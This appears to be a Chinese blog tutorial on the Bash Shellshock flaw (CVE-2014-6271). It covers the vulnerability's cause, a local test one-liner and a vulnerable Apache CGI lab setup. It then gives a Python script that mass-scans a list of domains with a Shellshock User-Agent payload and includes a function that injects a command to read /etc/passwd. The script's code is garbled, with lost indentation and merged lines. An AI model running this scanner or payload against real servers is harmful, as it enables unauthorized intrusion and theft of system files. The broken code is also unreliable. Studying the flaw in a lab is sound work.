Bash Shellshock(CVE-2014-6271)破壳漏洞测试

时间:2024-07-18 19:06:02

0x01 漏洞原理

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

0x2 Bash破壳漏洞测试

2.1 本地测试语句:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

输出:

vulnerable

this is a test

说明有漏洞,否则就没有。

2.2 漏洞复现:

2.2.1 安装配置:

  • Centos6 Apache2.2 CGI
yum install httpd
service iptables stop

httpd.conf配置


1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin, ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" 让这个目录下都支持cgi
2、582行修改Options <Directory "/var/www/cgi-bin">
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</Directory> 3、796行添加访问后缀,当其被访问能被解析 AddHandler cgi-script .cgi .pl .sh 4、200行需要有cgi模块 LoadModule cgi_module modules/mod_cgi.so

POC.cgi放置到cgi-bin,具体内容如下:

#!/bin/bash

echo "Content-type: text/html"
echo "" echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

2.2.1 Bash配置:

下载Bash之后,因为apache默认调用的是/bin/bash,没有漏洞。所以要通过软链接调用存在漏洞的Bash

$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
$ ln -s /usr/local/bin/bash /bin/bash

2.2 批量测试

# -*- coding:utf8 -*-

import urllib.parse
import urllib.request
import ssl
import re
import sys
from socket import timeout
import http.client #修改引用的模块
import os domain_list = []
result = [] #读取文件函数
def read_file(file_path):
# 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
if not os.path.exists(file_path):
print('Please confirm correct filepath ! ')
sys.exit(0)
else:
with open(file_path, 'r') as source:
for line in source:
domain_list.append(line.rstrip('\r\n').rstrip('\n')) def bash_exp(url):
hostname, urlpath = urllib.parse.urlsplit(url)[1:3] try: conn = http.client.HTTPConnection(hostname, timeout=20) headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'} conn.request("GET", urlpath, headers=headers)
res = conn.getresponse()
if res and res.status == 500:
print("{host} : discover Vulnerable! ".format(host=hostname))
result.append(hostname) else:
print("{host} :No Bash Vulnerable! ".format(host=hostname)) #except Exception, e:
except Exception as e:
print("{host} is {err}".format(host=hostname,err=e)) def cat_passwd(hostname, urlpath):
print("cat /etc/passwd :")
conn3 = http.client.HTTPConnection(hostname, timeout=20)
headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
conn3.request("GET", urlpath, headers=headers3)
res3 = conn3.getresponse()
res = res3.getheaders()
for passwdstr in res:
print(passwdstr[0] + ':' + passwdstr[1]) if __name__ == '__main__':
read_file(os.getcwd()+"//attck.txt")
for domain in domain_list:
test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
bash_exp(test_url)
for ret in result:
with open("result.txt","a+") as file:
file.write(ret)

2.3 参考

https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/

https://www.freebuf.com/news/48331.html

https://blog.****.net/yaofeino1/article/details/55211993

https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/